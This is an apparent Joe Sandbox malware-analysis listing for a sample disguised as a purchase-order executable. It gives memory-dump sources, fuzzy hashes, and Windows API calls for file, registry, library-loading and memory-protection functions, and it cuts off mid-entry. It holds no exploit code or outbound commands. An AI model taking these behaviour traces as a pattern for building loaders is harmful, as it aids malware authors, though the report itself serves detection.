Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 034276f51d0b42c553a83b344e0a7361816c93116213b78b32cfce19cc20a90a
Instruction ID: f806313cc2b23e457bf0aacbdd07ca6dd900f465a881214a0c79a18979c994cc
Opcode Fuzzy Hash: 034276f51d0b42c553a83b344e0a7361816c93116213b78b32cfce19cc20a90a
Instruction Fuzzy Hash: 67E08637B141049BCB15CFA4ED808AE77A6EB88321324047FE502B3290CA75BD40CF38

Function 00406694 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403401,0000000A), ref: 004066A6
GetProcAddress.KERNEL32(00000000,?), ref: 004066C1

Part of subcall function 00406624: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 0040663B
Part of subcall function 00406624: wsprintfW.USER32 ref: 00406676
Part of subcall function 00406624: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 0040668A

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 2c450699f5e5c6ed5e41876474a170b73f17b01a65d70064c3ee9ca103cb2d45
Instruction ID: 155b38c425e345f43688a0673e138072f65e923c2ca09dacbbabb210d44f0fbf
Opcode Fuzzy Hash: 2c450699f5e5c6ed5e41876474a170b73f17b01a65d70064c3ee9ca103cb2d45
Instruction Fuzzy Hash: 50E0863250461156D31197709E4487762EC9B95750307483EF946F2091DB399C36A66D

Function 00405DB0 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00402F1D,C:\Users\user\Desktop\PO 0309494059506060609696007.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405DB4
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405DD6

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: e3266cf20b616526e148e4639a7b0fb2c73eec3b674a7d239963b130731368bc
Instruction ID: 684cdbd871a87963be1dc25f749e3f1c2e3aca1a790447dc63e6e481d8426dbe
Opcode Fuzzy Hash: e3266cf20b616526e148e4639a7b0fb2c73eec3b674a7d239963b130731368bc
Instruction Fuzzy Hash: 5DD09E31254301AFEF098F20DE16F2EBBA2EB84B05F11552CB786940E0DA7158199B15

Function 0040586E Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403382,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004035D9,?,00000006,00000008,0000000A), ref: 00405874
GetLastError.KERNEL32(?,00000006,00000008,0000000A), ref: 00405882

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 5aaa147db34fee021f71137ce00f1128120fffe197b4e0338bd4cd09c611a0b2
Instruction ID: b5712d1dc6f90c91938fb9970759bfac189bcafefc635788875416fd9ee2894b
Opcode Fuzzy Hash: 5aaa147db34fee021f71137ce00f1128120fffe197b4e0338bd4cd09c611a0b2
Instruction Fuzzy Hash: 2FC04C712155019ED7546F619F08B277A50EB60781F158839A946E10E0DB348465ED2D

Function 004027EF Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 0040280D

Part of subcall function 00406201: wsprintfW.USER32 ref: 0040620E

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 2074296acf118ace0f9b9ab2ab8615e2fe297c7dd6636d95e153eafbd2080ce7
Instruction ID: 7f9197a1b1888ebfd6de04269447b21ffcaf0972564048b2e7bc6ee4a29003df
Opcode Fuzzy Hash: 2074296acf118ace0f9b9ab2ab8615e2fe297c7dd6636d95e153eafbd2080ce7
Instruction Fuzzy Hash: 29E06D71E04104AAD710EBA5AE098AEB768DB84318B24407FF201B50D1CA7949119E2D

Function 0040230C Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 00402343

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 8d5bed1eaa9c21b7d608f8919ca3b143956f4a650d469f74d9cd9ecffb6d68ea
Instruction ID: c1725c34c84eed099ded2eadaed0aef72a921931f8640c1422412bc8ca1d20e4
Opcode Fuzzy Hash: 8d5bed1eaa9c21b7d608f8919ca3b143956f4a650d469f74d9cd9ecffb6d68ea
Instruction Fuzzy Hash: 89E086315046246BEB1436F10F8DABF10589B54305B19053FBE46B61D7D9FC0D81526D

Function 00406155 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402CF2,00000000,?,?), ref: 0040617E

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction ID: dcb86bc894ab99bc20e37dc8a6176b737b641c0fdee4176656c7f25b47436c56
Opcode Fuzzy Hash: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction Fuzzy Hash: 75E0E6B2110109BEEF195F50DD0AD7B375DE704304F01452EFA06D4091E6B5AD315634

Function 00401735 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

SearchPathW.KERNELBASE(?,00000000,?,00000400,?,?,000000FF), ref: 00401749

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: PathSearch
String ID:
API String ID: 2203818243-0
Opcode ID: c0811cb59a621ebc69ef1af7074a37ada7c896faeab5dbfa84eb6157ad43e3d3
Instruction ID: 76b1046b3576aa71ae923c826af07df126468053c341a8b382c9c50c66927564
Opcode Fuzzy Hash: c0811cb59a621ebc69ef1af7074a37ada7c896faeab5dbfa84eb6157ad43e3d3
Instruction Fuzzy Hash: EFE0DF72700100EAE710DFA4DE48EAA33A8DF40368B30813AF611B60C0E6B4A9419B2D

Function 00405E62 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,?,?,004032FA,000000FF,00416A00,?,00416A00,?,?,00000004,00000000), ref: 00405E76

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction ID: 8754e0b6f25d564075f0081c534dd79b85a2df0f0bc88b3642164a4a3ec1e455
Opcode Fuzzy Hash: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction Fuzzy Hash: FDE0B63221065AAFDF109F95DC00AAB7B6CEB052A0F044437FD59E7150D671EA21DAE4

Function 00405E33 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,?,?,00403344,00000000,00000000,00403168,?,00000004,00000000,00000000,00000000), ref: 00405E47

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction ID: bd732019988057c431ec21c3a2c50b1292625b962aa4d7912315599e48db2a91
Opcode Fuzzy Hash: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction Fuzzy Hash: A9E08C3220021AABCF20AF54DC00FEB3B6CEB05760F004832FD65E6040E230EA219BE8

Function 6E422993 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(6E42505C,00000004,00000040,6E42504C), ref: 6E4229B1

Memory Dump Source

Source File: 00000000.00000002.2313961688.000000006E421000.00000020.00000001.01000000.00000006.sdmp, Offset: 6E420000, based on PE: true

Associated: 00000000.00000002.2313936159.000000006E420000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2313981846.000000006E424000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2314004902.000000006E426000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e420000_PO 0309494059506060609696007.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: c259ba6175f349b76f459fe76c5e2fb96249f4acda2ffb88ef4091423c2569ce
Instruction ID: c5cf4afa4c296e7fe1590cbc67e229411e7002c17ecbd2b701f55bb7d2f2a53b
Opcode Fuzzy Hash: c259ba6175f349b76f459fe76c5e2fb96249f4acda2ffb88ef4091423c2569ce
Instruction Fuzzy Hash: E7F0A5B0514A80DECB90EF78AE44B093FE0B70B394B10452AE148DE249E33C4444CB9B

Function 0040234E Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,?,?,?,000003FF,00000000), ref: 0040237F

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 3f3571743ae8bb518db273e1d5473214efdc558287c9048febf32fba17a38326
Instruction ID: 3d6fae6e588f42459dd5c721a8c471f59e455a0f8de0d1d47597fcd0a09f6ae9
Opcode Fuzzy Hash: 3f3571743ae8bb518db273e1d5473214efdc558287c9048febf32fba17a38326
Instruction Fuzzy Hash: 68E04830804208AADF106FA1CE499AE3A64AF00341F144439F9957B0D1E6F8C4816745

Function 00406127 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,?,?,?,004061B5,?,00000000,?,?,Call,?), ref: 0040614B

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction ID: b908bd292ce434c6339c018d18c1e3bfafdd2f7559b63d477f04a141d62eba1a
Opcode Fuzzy Hash: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction Fuzzy Hash: 94D0123214020DFBDF119E909D01FAB775DAB08350F014426FE06A9191D776D530AB14

Function 004015A3 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015AE

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
